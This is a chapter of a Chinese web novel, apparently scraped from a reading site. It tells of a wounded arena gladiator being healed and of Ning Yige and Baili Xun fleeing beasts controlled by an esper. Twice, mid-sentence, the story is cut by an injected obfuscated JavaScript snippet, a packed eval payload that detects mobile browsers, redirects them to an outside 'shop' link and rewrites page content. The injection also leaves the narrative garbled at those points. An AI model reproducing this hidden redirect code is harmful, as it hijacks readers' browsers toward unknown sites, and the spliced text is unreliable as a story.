江江依然紧握着她带入场的长刀,此刻武器已然化作她那血淋淋身体的唯一支撑,勉强帮助她一步步跌跌撞撞地往出口处走去。 漫长的时间之后,终于抵达退场出口的江江扶着墙目光炽热地望向在那接应的侍者,嗓音沙哑地问道:“按照先前的约定,你们有没有把我赢得的钱打到指定账户上?” 侍者颔首,向她展开一面悬浮屏幕:“当然,这是汇款记录。” 看清了界面内容的江江露出了笑容,紧绷的神经全然放松,终于放弃抵抗无尽的痛苦,脱力倒在了地上。 蚀骨蠕的□□在疯狂侵蚀她的皮肤,有些伤口已经深可见骨,并且还在不断继续腐蚀,只是那一份要拿到奖金的执念支撑着她走到这里。 在与角斗士的交易条例中,斗兽场不会为角斗士提供医疗服务,这也是为什么即使身为胜利者的角斗士也只有十分之六能活下来。 江江清楚地意识到自己的生命即将走到尽头,但她已经没有遗憾了。 她闭上了眼睛。 在模糊的意识中,身体被抬起移动,周围的喧嚣声渐渐远去,江江隐约意识到自己被安置在一间安静的房间中,或许是这里的人等她死透了再直接处理尸体吧。 耳边忽然传来一句低语:“你想活下去吗?哪怕付出任何代价?” 江江不信神,但在这最后的弥留之际,她不禁怀疑难道世上真有神祇,神听见了她对生的贪恋,于是祂回应了她的祈求? “我想。”哪怕这可能只是自己生命最后的幻听,她也要抓住这渺茫的希望。 直到手臂上传来尖锐的刺痛,江江闷哼一声将眼睛勉强睁开一条缝隙,哪里还有什么神,她只看见了一个大半张脸都掩藏在防沙面罩下的黑发女子,和站在女子身后的两个男人。 黑发女子正举起注射器往她的身体里注射着她不认识的药剂。 随着药剂的注入,江江惊讶地发现自己的伤口处正在发热中缓慢生长出新肉,血肉在愈合。 处理完一处伤口,女人又紧接着处理下一处伤口,冲洗清理残留的腐蚀性虫液、割掉腐肉、注射药剂、包扎伤口,一系列动作娴熟而高效。 最后,女人强迫她喝下一大罐气味古怪的药水,扶她坐了起来。 江江缓缓睁大眼睛,她不知道面前的女人到底对她使用了何种强力的愈合药剂,她只能清晰地感受到自己的身体正在极速恢复中。 她干涩的双唇翕动,发出沙哑的声音:“你是谁?” 女人示意身后的侍者离开,仅留下另一名同样看不见面貌却身着轻甲看起来并非善类的男人。 侍者离开后,女人拉下防沙面罩,露出一张极其年轻的脸,她说:“我叫宁以歌。你也可以叫我宁姐姐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382064|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江江想支起上身坐起来,却被宁以歌制止了:“我给你用的药只能应急,我已经安排好了接应的人送你去附近的医院进行接下来的治疗,你现在就先好好歇着。” 江江迟疑地问道:“你为什么救我?” 宁以歌沉默了,这段沉默久到江江以为她不会回答这个问题的时候,宁以歌回答道:“因为我在你的身上看见了过去的我。” 她的声音很温柔:“你有一个好名字,江水,你应该如江水奔流不息,不应该就这样停留在此处。” 她又顿了一下,语气带了郑重:“等到你恢复得差不多了,你会得到一个选择的机会,希望到那个时候你能慎重考虑。我相信你既然能从尸山血海的斗兽场中活着走出来,也必定会得到一个光明的未来。” 江江自然不知道面前似乎很自来熟的姐姐说了这一番话是为了什么,但直觉告诉她,她应该相信宁以歌。因为她已无路可选。 “好。” 宁以歌重新拉上防沙面罩,站起身,看向身后的百里寻。 百里寻同样不明白她这一通操作是出于何种目的,但宁以歌的每一步都有她自己的考量,他能选择的只有无条件配合。 宁以歌拿刚赚的钱安排的侍者们进入房内,将江江小心翼翼地放上担架,抬往不远处停着的车辆中,按照宁以歌的吩咐,他们会将她送往附近的医院。 等到她恢复完全,里奥会带走她。 宁以歌目送他们离开,长呼一口气:“还好,他们已经离开了。” “怎么了?” 宁以歌摇摇头:“我们也走吧。” 他们沿着斗兽场内的环形长廊往外走去,透过长廊朝向表演场地的窗户中,宁以歌看见工作人员正在清理场地中的血迹和肉块,场地的一角有两个驯兽师打扮人的在关没用的上的蚀骨蠕的笼子。 变故就在这一刻发生了。 即使相距很远,宁以歌还是看清了蚀骨蠕突然仿佛受到了某种感召似的疯狂活动起来,驯兽师甚至没来得及锁上笼子蚀骨蠕就冲出了牢笼,瞬息之间将驯兽师吞噬。 另一名驯兽师在同伴的惨叫声中瞬间慌了神,一边跑一边拼命拉响警报提醒场中的所有人立刻离场。按照程序,会有安保团队迅速入场控制场面。 但安保团队消失了,准确说,并不是消失了,而是被另一处变故拖住了脚步。 在斗兽场的深处传来了可怖的振动。 与此同时,在宁以歌二人面前的悬浮指示牌上显现出红色的警告:“请各位客人尽快离场!” 宁以歌拦住一个同样在逃窜的侍者:“发生了什么?” 侍者几乎语无伦次:“有异种跑出来了!从关押区逃出来了!快跑啊!” 人群在往出口涌去,宁以歌却站在原地没动。 百里寻紧张地左右观察局势,又看向宁以歌:“是冲你来的?” “很显然。” “你为什么不逃?” 宁以歌垂下头,盯着脚下的铺砖,她能感觉到有什么东西正在极速地接近:“逃不掉的。” 42. 危机 地面上狭小的排污口中,一只似乎来自于地底关押区的蚀骨蠕正探出半截身子,具有腐蚀性的粘液流淌在地,散发出一股刺鼻的腥味。 而蚀骨蠕仿佛长了眼睛似的,在扭动调整身体的同时将头部转向宁以歌。 下一秒,它向宁以歌冲过来。 但它没能成功扑到猎物,一把锋利的匕首霎时间飞来将它牢牢钉在一侧的墙面上。 钉穿了身体的蚀骨蠕在疯狂扭动身躯的同时,更多的蚀骨蠕从排污口中往外挤。 四散逃生的人们发出惊慌的叫声,而百里寻毫不犹豫地握住了宁以歌的手腕,向出口处奔跑:“别说什么跑不掉这种丧气话!先跑再说!” 就在这时,隔绝表演场地与观众区的防护罩在场地内剩余蚀骨蠕的疯狂攻击下产生了数道裂痕,这些蠕虫仿佛忽然有了智慧,只攻击防护罩最脆弱的部件连接处。 宁以歌一边奔跑一边分神观察着这些虫子的异动,忽然有了一个推论:“有人在操纵异种。” 百里寻回过头:“什么?” “我曾在书中看见过有一项可以操控异种的异能。书上把拥有这项特殊异能的人称为‘虫语者’。”宁以歌说,“这些暴动的异种就是这位虫语师的手笔。” 百里寻一想起这斗兽场内关着的数不清的异种,瞬间头皮发麻:“希望这个异能者水平不够,操纵不了太多的异种。” 他话一落音,前方的地面瞬间裂开一条缝隙,百里寻不得不刹住脚步,伸手将宁以歌护在身后,通往出口的道路轰然塌陷,一只生长着外骨骼的利爪从坍塌的裂隙中伸了出来,牢牢地抓住了碎裂的石砖边缘。 百里寻猛然退后,如今的他已经顾不得征得宁以歌的许可,立即精神领域,调动近距离范围内的一切金属物件,回身操纵金属碎片将涌入的蚀骨蠕一一洞穿。 四溅的带有腐蚀性的血沫被在他们面前筑起的金属盾挡下,抵挡下第一波进攻的百里寻抬手,拼凑的金属盾重新分解成无数碎片飞绕着护在二人周身。 在新一轮蚀骨蠕攻击到来之前,百里寻环住宁以歌的身体,窜入防护罩已经完全破裂的表演场地中,稳住身体后直接将宁以歌打横抱起。 宁以歌:“放我下来。” 百里寻:“放你下来,你能跟得上我的速度吗?” 宁以歌皱着眉沉默了,她越过百里寻的肩膀看向后面,那只她在录像中见过的与刻耳柏洛斯系列实验品长得一模一样的怪物正从地下的关押区爬出,而那可怖的巨大脑袋上站着一个人。 看百里寻的行动方向,他是打算横穿表演场地,从对面的出口逃离。 此时那个站在刻耳柏洛斯脑袋上的那个人缓缓蹲下身,怪物冲出裂缝,越过宁以歌与百里寻的头顶,稳稳地落在他们的面前,阻拦他们的去路。 宁以歌听见百里寻大骂一声,周身的金属碎片迅速聚合抵挡住巨物落地产生的风波。 尘烟散去,他们都看清了刻耳柏洛斯头上那个女人,正是他们在参观蚀骨蠕时碰见的哑巴驯兽师。 驯兽师的精神领域已经完全展开,强大的精神力冲击着宁以歌的神经,她瞬间浑身紧绷,身体下意识的反应想要释放精神力去抵抗敌人的侵蚀,但她硬生生压下了这股本能。 而百里寻也在此刻说出了她心里那个糟糕的猜测:“她是个S级!” 精神力展开的范围被称为精神领域,同时异能生效的范围也与精神领域同步,等级越高的精神力意味着精神领域范围越广,一个S级的虫语师有极大可能能够调动整座斗兽场内的异种。 百里寻退后一步,而刻耳柏洛斯垂下头,蹲在它头上的哑女缓缓站起身,冷淡的目光直视百里寻,伸手指向他抱在胸前的宁以歌。 刻耳柏洛斯张开暗红色的巨口,竟然发出了近似人的低语声:“我只要她,放下她,你就可以走。” “不好意思,这有悖我的职业道德。” 宁以歌微微挑眉。 甩下这一句话的百里寻闪身冲向一旁早已被他的异能破环了门锁的员工通道,可身后那令人毛骨悚然的低语紧随而至:“那你们就一起去死吧!” 百里寻眼疾手快调动周围一切金属物件凝聚成一把锋利的刀,狠狠向刻耳柏洛斯的巨爪斩去。怪物躲过袭击,巨型刀刃顺势斩向一旁的承重柱,石块倾塌,拖住了怪物往前的脚步,为二人提供了短暂的逃跑时机。 宁以歌专注地观察怪物的动向,甚至开始分析起怪物的特征:“你还记得之前我们看的录像吗?它的攻击方式很原始,继承了它基因中属于狼的部分,主要依靠利爪与利齿。不过还有一个我在意的点,它还似乎融合了蝎子的基因,要注意它的尾部。” “知道了。”百里寻说,“你怎么听起来一点也不慌?” 宁以歌意味不明地笑了笑,她刚想说什么的时候,一切在刹那间陷入寂静。 宁以歌蓦然拧起眉毛,而百里寻也意识到了不对劲。 他们失去了听力。 百里寻的嘴在张合,可宁以歌只能通过他的口型分辨出他的话:“还有一个A级异能者!” 望向后方的宁以歌猛然揪住了百里寻的衣领,百里寻心领神会,往她用力的方向躲去。怪物指尖长甲刺穿了他们身侧的玻璃窗,险些划破百里寻的衣服。 百里寻的额前渗出冷汗,他丧失了在战斗中不可或缺的听觉,战斗水平骤减。 他不得不故技重施,再次拖住刻耳柏洛斯的脚步,拐了个弯,寻找到一间无窗的房间,将宁以歌放了下来:“看来今天不把这些家伙解决掉是不行了。” 百里寻的神色格外凝重,他的眸光闪动:“你就在这里呆着,天亮之前不要出来。”说完,他想将门合上。 宁以歌大步越过门槛握住了百里寻的小臂,大喊道:“等一下!” 百里寻的脚步停了,他疑惑地看向阻挡门合上的她。 “你一个人能解决两个异能者?你疯了?” 百里寻抿着唇,皱了下眉。 “不用这样把我关在安全屋里,我可以和你一起面对。”宁以歌说,“如果你害怕万一我的死亡会牵连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392633|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,那么我现在就可以打消你的顾虑。” 她握住食指上的戒指,微微一动,百里寻脖子上的颈环锁扣就这样解开了。 百里寻难以置信地怔在了原地。 从戴上这项颈环开始,他曾想过究竟需要等多久才能重获人身自由。 或许是案件真相水落石出的时候,或许是她不再信任自己的时候,或许是自己死亡的时候。 但他唯独没有想到是在今天,面对异能者的围剿,本该是她最需要他的此刻。 宁以歌笃定地重复一遍:“让我出去,和你一起。” 百里寻怔怔地盯着宁以歌张合的双唇,突然开始读不懂她的话了。 无边的死寂中,提示着异种接近的振动仍然顺着建筑的墙面与地板席卷而至。 同时因为电力系统被破坏,黑暗也如潮水从斗兽场另一侧向他们的位置漫来。 走廊的灯光渐次熄灭。 百里寻突然伸手将宁以歌用力往房中推去,宁以歌猝不及防踉跄着后退。 在宁以歌后退之时,百里寻所操控的金属层层叠叠将这唯一的出口牢牢堵住。 在最后的视野与光明中,百里寻笑了笑,抬手拂过颈环,将它重新锁紧:“你才是疯了。” 他双唇翕动,侧过脸轻吐出最后一句模糊在黑暗中的话。 可宁以歌还是看清了。 “没有人想看见喜欢的人受伤。” * 无声的黑暗笼罩在宁以歌四周,她什么也看不见什么也听不见,只能感受到自己的心脏在胸腔内剧烈地搏动。 她当即按照记忆中房间内的布局去寻找趁手的工具,如愿找到一柄撬棍,宁以歌摸索着将铁棍插入门口层层金属零件的缝隙之中,试图撬出一个出口。 可这金属屏障显然是百里寻的全力之作,宁以歌咬牙撬了半晌依然没有取得进展。 她终于陷入失控的情绪中,狠狠抡起长棍砸在铁门之上:“蠢货!” 金属之间的剧烈碰撞产生的振动将宁以歌的手臂震得短暂发麻。 明明只要让她留在视线不受阻碍的外界,她就能够施展异能,她的幻术配合百里寻的金属操控对付两个非精神系异能自然绰绰有余。 而不是这样自作主张将她关在安全屋内,幻象的构建依赖视觉的观察,这样简单粗暴地沉入黑暗中宁以歌已与废人无异。 百里寻只是一个S级元素异能者,哪来的自信在敌方的地盘上撒野? 必须出去,必须出去,必须出去! 宁以歌再度贴上铁门,仔细地寻找任何一处可能存在的突破点。 寻找,撬动,撞击,再撬。 金属碎片的边缘划破了她戴着的手套,渗出的血珠浸湿了布料,弥漫出淡淡的腥味。 门的另一端重物冲突的震动依然在不停息地传感到宁以歌的脚下,有那么一瞬间她陷入恍惚之中。 仿佛她再度站在了二十三年前那个同样寂静黑暗的空间内,她垂下头,只能触摸到粘稠的液体顺着小腿在往下流淌。